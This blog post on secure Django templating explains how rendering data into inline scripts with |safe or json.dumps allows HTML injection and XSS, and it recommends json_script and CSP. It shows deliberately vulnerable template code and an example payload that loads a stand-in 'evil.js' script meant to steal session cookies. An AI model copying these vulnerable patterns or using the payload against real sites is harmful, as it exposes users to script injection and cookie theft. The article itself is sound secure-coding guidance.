Adam Johnson

Home | Blog | Training | Projects | Colophon

Safely Including Data for JavaScript in a Django Template

2020-02-18

Django templates are often used to pass data to JavaScript code. Unfortunately, if implemented incorrectly, this opens up the possibility of HTML injection, and thus XSS (Cross-Site Scripting) attacks.

This is one of the most common security problems I’ve encountered on Django projects. In fact I’ve probably seen it on every considerably-sized Django project, in some form or another.

Also, not naming and shaming, but I’ve also seen it in lots of community resources. This includes conference talks, blog posts, and Stack Overflow answers.

It’s hard to get right! It’s also been historically difficult, since it’s only Django 2.1 that added the json_script template tag to do this securely. (And the ticket was open six years!)

Let’s look the problem and how we can fix it with json_script.

The Vulnerable Way

Let’s take this view:

from django.shortcuts import render


def index(request):
    mydata = get_mydata()
    return render(request, 'index.html', context={"mydata": mydata})

…and this template:

<script>
    const mydata = "{{ mydata|safe }}";
</script>

Unfortunately as written, the template is open to HTML injection. This is because if the data contains </script> anywhere, the rest of the result will be parsed as extra HTML. We call this HTML injection, and attackers can use it to add arbitrary (evil) content to your site.

If the mydata is controllable by third parties in any way, for example a user’s comment, or an API’s return data, attackers might try and use it for HTML injection.

Imagine get_mydata() returned this crafty string:

'</script><script src="https://example.com/evil.js"></script>'

(I’m using a string but this also applies to dictionaries and lists, since in JavaScript they can also contain strings.)

Then the template would render to:

<script>
    const mydata = "</script><script src="https://example.com/evil.js"></script>";
</script>

The browser first parses the page by HTML tags only - with no inspection of the JavaScript inside.

So it sees the first <script> as closing after mydata = ". It will attempt to run that JavaScript, which will crash with an error about the incomplete string.

It will then parse the second, injected <script> tag as a legitimate part of the page. This means it loads evil.js.

Finally it will render the trailing "; as text, and ignore the last </script> as it doesn’t match an opening <script>.

evil.js probably does some evil, such as stealing your user’s session cookie and sending it to the attacker.

Ruh roh.

Beware ‘safe’

Our template would be safe if we didn’t use |safe. Whenever we use the safe template filter, what we’re really saying is “I promise this data is safe for direct inclusion in HTML”. And that’s not the case here.

If we remove it from the template:

<script>
    const mydata = "{{ mydata }}";
</script>

Then we’d not be open to the above attack. But the data would not render as intended:

<script>
    const mydata = "&lt;/script&gt;&lt;script src=&quot;https://example.com/evil.js&quot;&gt;&lt;/script&gt;";
</script>

Because all the HTML entities have been escaped, the string will not be usable in JavaScript as intended. Or you’d need to write extra JavaScript to unescape them, which would also open up the opportunity for attack again.

Another Vulnerable Way

Another common vulnerable pattern is to use json.dumps() in the view, and call that value “safe” in the template. For example, take this view:

import json
from django.shortcuts import render


def index(request):
    mydata = get_mydata()
    return render(request, 'index.html', context={"mydata_json": json.dumps(mydata)})

…and this template:

<script>
    const mydata = {{ mydata_json|safe }};
</script>

This looks safer, since we’re serializing the data into JSON, and using the “safe” template filter. Unfortunately it’s just as vulnerable, because it’s also not HTML safe.

Imagine again that mydata was again the same string as above. That would make mydata_json equal to:

'"</script><script src=\"https://example.com/evil.js\"></script>"'

(Extra double quotes from json.dumps, which converted it into a JSON string stored in a Python string.)

Then the template would render to:

<script>
    const mydata = "</script><script src="https://example.com/evil.js"></script>";
</script>

Again we have the same problem. The browser will parse the HTML as an incomplete <script>, then another <script> to include evil.js, then the text ";, and finally an ignored </script>.

The Secure Way

The best way to avoid this vulnerability with Django is to use the json_script template tag. This outputs the data in an HTML injection proof way, by using a JSON script tag.

In our template we’d use it like so:

{{ mydata|json_script:"mydata" }}

This will get rendered like so:

<script id="mydata" type="application/json">"\u003C/script\u003E\u003Cscript src=\"https://example.com/evil.js\"\u003E\u003C/script\u003E"</script>

This is a <script>, but since its type is "application/json" and not a JavaScript type, the browser won’t execute it. Django has replaced every HTML sensitive character with its JSON string unicode escape form, such as \u003C. Thus the browser will never see any closing </script> tags or similar.

We also need to change our JavaScript to fetch the data from that element. Adapting from the Django documentation, the end result would look like:

{{ mydata|json_script:"mydata" }}
<script>
    const mydata = JSON.parse(document.getElementById('mydata').textContent);
</script>

Hurray!

Going Further with CSP

Update (2020-02-19): Added this section, thanks to James Bligh and Tom Grainger for pushing me.

If you want to be even more secure, you can go one step further and avoid using inline <script> tags in your template altogether. That is, move your JavaScript into its own static file, mypage.js:

const mydata = JSON.parse(document.getElementById('mydata').textContent);

And then refer to it in the template:

{{ mydata|json_script:"mydata" }}
<script src="{% static 'mypage.js' %}"></script>

This is admittedly a litle more effort. But it prevents the problem from ever occurring in your code, because your JavaScript never passes through templating.

You can reduce your XSS risk even further by banning inline scripts on your site. You’d do this with a Content Security Policy (CSP) using the script-src directive. See my post How to Score A+ for Security Headers on Your Django Website for more information.

What about ‘escapejs’?

Update (2020-02-19): Added this section, thanks to a question from Ed Rivas on Twitter.

Django also provides the escapejs template tag, that looks like it might work. You might be tempted to use it like this:

<script>
    const mydata = "{{ mydata|escapejs }}";
</script>

Unfortunately isn’t safe, as the docs say:

Escapes characters for use in JavaScript strings. This does not make the string safe for use in HTML or JavaScript template literals, but does protect you from syntax errors when using templates to generate JavaScript/JSON.

It’s also not generally useful since it only works for strings, not dictionaries or lists.

Fin

I hope this helps you write more secure Django applications.

Thanks to all those who got json_script into Django 2.1:

—Adam


Interested in Django or Python training? I'm taking bookings for workshops.


Subscribe via RSS, Twitter, or email:

One summary email a week, no spam, I pinky promise.

Related posts:

Tags: django